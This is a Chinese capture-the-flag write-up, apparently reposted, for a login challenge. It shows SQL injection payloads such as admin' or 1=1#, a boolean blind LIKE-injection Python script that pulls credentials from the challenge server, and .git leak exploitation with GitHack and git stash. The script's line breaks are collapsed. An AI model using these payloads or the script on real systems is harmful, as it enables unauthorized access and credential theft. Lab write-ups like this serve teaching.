i春秋-登陆(sql盲注爆字段,.git缓存利用)

练习平台地址

竞赛中心

题目描述

先登陆再说

67a383e03f0c4f8281e37e046c248d4b.png 题目内容

就是一个登录框

43e7fd771c7b4da98334042b0ae3ebf2.png

测试登录

用户名:admin' or 1=1#

密码:随便输

返回密码错误

用户名:随便输

密码:随便输

返回用户名不存在

 这里就可以确定时一个bool盲注了

这里提供一个like注入的python脚本

代码逻辑就是给出一个列表,用列表中的字符不断拼接内容作为payload

#-*- coding:utf-8 -*-
from urllib.request import urlopen
from urllib import parse,request
import sys
import threadingurl = 'http://eci-2ze7mdt9g8r0p73g7mmo.cloudeci1.ichunqiu.com/Challenges/login.php'def get_database_length():for i in range(1,sys.maxsize):username= "admin' or length(database())>{0}#"username = username.format(i)values = {"username":username, 'password':''}data = parse.urlencode(values).encode('utf-8')response = request.Request(url, data)response = urlopen(response)if len(response.read().decode()) != 4:print("当前数据库长度为:", i)return idef get_database_name():global locklit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")#后台SQL语句形如:#select xxx from xxx where username='' or 其他字段=xxx##我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段username="admin' or p3ss_w0rd like '{0}%'#"#  username="admin' or p3ss_w0rd like '{0}%'#"database=''print("Start to retrive the database")while True:curId=0while True:if curId == len(lit):breaki = curIdcurId += 1un=username.format(database+lit[i])print(un)values = {"username":un, 'password':''}data = parse.urlencode(values).encode('utf-8')response = request.Request(url, data)response = urlopen(response)if len(response.read().decode()) == 4:database=database+lit[i]print("the database is :%s" % database)breakif curId == len(lit):print(database)break#print(get_database_length())
get_database_name()

 关键部分

url的地址改为题目的地址

POST发送的注入语句,检查源代码发现这两个字段很皮,应该是当前数据库中的两个表格

f82a45185d74431a92b36a2b2dd6c553.png

username="admin' or p3ss_w0rd like '{0}%'#"

username="admin' or user_n3me like '{0}%'#"

最后可以跑出用户名和密码

用户名:bctf3dm1n

密码:2bfb1532857ddc0033fdae5bde3facdf #adminqwe123666

82cb4a1bc47e4165a09dd93aedcca5e9.png

成功登录

登录后得到了新的提示——存在.bctfg1t隐藏文件 

772341ad79384c6993137af42effd9e2.png

猜测这里是.git文件泄露

ba69a5d03c8f49afb8a5d00064f82818.png

直接上GitHack!!!

3ac7e3fc84c9437aa42dc00d7ea5d1cc.png

查看日志

提示不要怀疑flag就在git,说明不在这里

6b1099d4d42647a09065ece618656b80.png 结合题目提示的缓存

​git​​​中与缓存相关的就是​​stash​​​,我们进入下载下来的网站目录,再进入​​.git​​​目录,再进如​​refs​​​目录,之后​​cat stash​​​:得到一个​​commit​​

 显示隐藏的项目 54445e5ebbbf4f6aada7ff439e4268f4.png

查看stash得到commit

869a2b37e301472aa889f26dfdc22ed2.png

git reset --hard commit​​​,之后再查看​​flag.php

git reset --hard bee231dcc3e136cf01d4b0a075765a9490ecfa87

0ef3cb9bc8904263a9d42828a2584629.png

589795cb740044ba9ddca038a1e01cd7.png

 flag

f355cdae9e924cc79a439ff4517625cb.png

flag{f075ec24-0710-464d-9458-2b442a2c73a4}  

注意事项

1.当尝试ascii​​​获取数据库名字失败,要考虑可能后端对某些字符串进行了过滤,可以尝试使用​​like​​盲注来进行替代

2.如果使用information_schema​​数据库跑表时出现问题,那么很可能是这个被过滤了,我们要去寻找有没有表名的有关信息,不然无法得到结果

3.​git​​​中与缓存相关的就是​​stash​​​,查看stash可以得到一个commit,执行命令git reset --hard commit可以将当前分支的状态强制重置到指定的commit(提交)状态

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/475605.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新华三H3CNE网络工程师认证—子接口技术

子接口(subinterface)是通过协议和技术将一个物理接口(interface)虚拟出来的多个逻辑接口。在VLAN虚拟局域网中,通常是一个物理接口对应一个 VLAN。在多个 VLAN 的网络上,无法使用单台路由器的一个物理接口…

C# - 无法加载 DLL“libmupdf.dll”: 找不到指定的模块。

1.本机环境 windows 11 64位Visual Studio 2015 2.报错如下 用户代码未处理 System.DllNotFoundException HResult-2146233052 Message无法加载 DLL“libmupdf.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。 SourceMoonPdfLib TypeName"" StackTrac…

23.UE5删除存档

2-25 删除存档制作_哔哩哔哩_bilibili 按照自己的风格制作删除按钮 这样该行的存档就被从存档列表中删除了,并且实际存档(我的存档蓝图)中也被删除了 但是存在一个问题,如果存档数据中存在索引为: 0 1 2 3的存档,当索…

VSCode DeBug时无法进入自定义工具库

最近遇到一个问题,将自己的写的工具包放到conda里site-packagse下,并配置了__init__.py文件,当我debug时,想进入工具包函数调试,但是总是进入不了工具包函数。找了许多博客方法,尝试了将launch.json中的jus…

单元测试框架gtest学习(三)—— 事件机制

前言 上节我们学习了gtest的各种宏断言 单元测试框架gtest学习(二)—— 认识断言-CSDN博客 本节我们介绍gtets的事件机制 虽然 Google Test 的核心是用来编写单元测试和断言的,但它也允许在测试执行过程中进行事件的钩取和自定义&#xf…

在k8s上部署Crunchy Postgres for Kubernetes

目录 一、前言二、安装Crunchy Postgres for Kubernetes三、部署一个简单的postgres集群四、增加pgbouncer五、数据备份六、备份恢复七、postgres配置参数八、数据导入九、权限管理 一、前言 Crunchy Postgres可以帮助我们在k8s上快速部署一个高可用、具有自动备份和恢复功能的…

python中Pandas操作excel补全内容

补全ID、InStore、Date import random from datetime import datetime, timedeltaimport pandas as pdfile_path r"C:\Users\xb\Desktop\Books_1.xlsx" books pd.read_excel(iofile_path, skiprows3, usecols"C:F", dtype{"ID": str, "I…

高级 SQL 技巧讲解

​ 大家好,我是程序员小羊! 前言: SQL(结构化查询语言)是管理和操作数据库的核心工具。从基本的查询语句到复杂的数据处理,掌握高级 SQL 技巧不仅能显著提高数据分析的效率,还能解决业务中的复…

Android okhttp 网络链接各阶段监控

步骤 1: 添加依赖 在项目的 build.gradle 文件中,添加 OkHttp 依赖: implementation com.squareup.okhttp3:okhttp:4.11.0 步骤 2: 创建自定义的 EventListener 创建一个自定义的 EventListener 类: import android.util.Log import okht…

springboot高校毕业生实习及就业去向信息管理系统

摘 要 高校毕业生实习及就业去向信息管理管理系统采用B/S架构,数据库是MySQL。网站的搭建与开发采用了先进的java进行编写,使用了springboot框架。该系统从三个对象:由管理员和学生、企业信息来对系统进行设计构建。主要功能包括&#xff1a…

网络安全概论——网络安全基础

一、网络安全引言 信息安全的四个属性(信息安全的基本目标 ) 保密性:信息不会被泄露给非授权用户完整性:保证数据的一致性可用性:合法用户不会被拒绝服务合法使用:不会被非授权用户或以非授权的方式使用 二、网络安…

【Unity基础】认识Unity中的包

Unity中的包是一个核心概念,像Unity本身的功能的扩展,或者项目中资源的管理,都是通过包的形式来实现的。 一、什么是包? 一个包包含满足您项目各种需求的功能。这可以包括编辑器安装过程中附带的任何核心Unity功能,也…

【从零开始的LeetCode-算法】3354. 使数组元素等于零

给你一个整数数组 nums 。 开始时,选择一个满足 nums[curr] 0 的起始位置 curr ,并选择一个移动 方向 :向左或者向右。 此后,你需要重复下面的过程: 如果 curr 超过范围 [0, n - 1] ,过程结束。如果 nu…

VUE+SPRINGBOOT实现邮箱注册、重置密码、登录功能

随着互联网的发展,网站用户的管理、触达、消息通知成为一个网站设计是否合理的重要标志。目前主流互联网公司都支持手机验证码注册、登录。但是手机短信作为服务端网站是需要付出运营商通信成本的,而邮箱的注册、登录、重置密码,无疑成为了这…

ChatGPT Search VS Kimi探索版:AI搜索哪家强?!

大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,专注于分享AI全维度知识,包括但不限于AI科普,AI工…

【网络系统管理】Centos7——配置主从mariadb服务器案例(下半部分)

【网络系统管理】Centos7——配置主从mariadb服务器案例-CSDN博客 接上个文档,我们已经完成了主服务器创建数据库备服务器可以看到 一、在DBMS2查看信息 File,Position这两个字段的数据要记好,等一下需要用到 show master status; 二、在…

定长滑动窗口(LeetCode——1423.可获得的最大点数)

题目 . - 力扣(LeetCode). - 备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/maximum-points-you-can-obtain-from-cards 几张卡牌 排成一行…

ubuntu20.04如何升级python3.8到python3.10

主要参考了这两个链接: 如何在Ubuntu 20.04安装Python 3.10 | myfreaxhttps://www.myfreax.com/how-to-install-python-3-10-on-ubuntu-20-04/#:~:text%E5%9C%A8%E8%B0%83%E8%AF%95%E5%92%8C%E5%85%B6%E4%BB%96%E5%B7%A5%E5%85%B7%E4%B8%AD%E4%BD%BF%E7%94%A8%E7%B…

JDK安装和Linux常见设置详细版教程

一、Linux的常见设置 1、设置静态IP vi /etc/sysconfig/network-scripts/ifcfg-ens33 如何查看自己的虚拟机的网关: 完整的配置(不要拷贝我的): TYPE"Ethernet" PROXY_METHOD"none" BROWSER_ONLY"no&…

【Visual Studio系列教程】如何在 VS 上编程?

上一篇博客中,我们介绍了《什么是 Visual Studio?》。本文,我们来看第2篇《如何在 VS 上编程?》。阅读本文大约10 分钟。我们会向文件中添加代码,了解 Visual Studio 编写、导航和了解代码的简便方法。 本文假定&…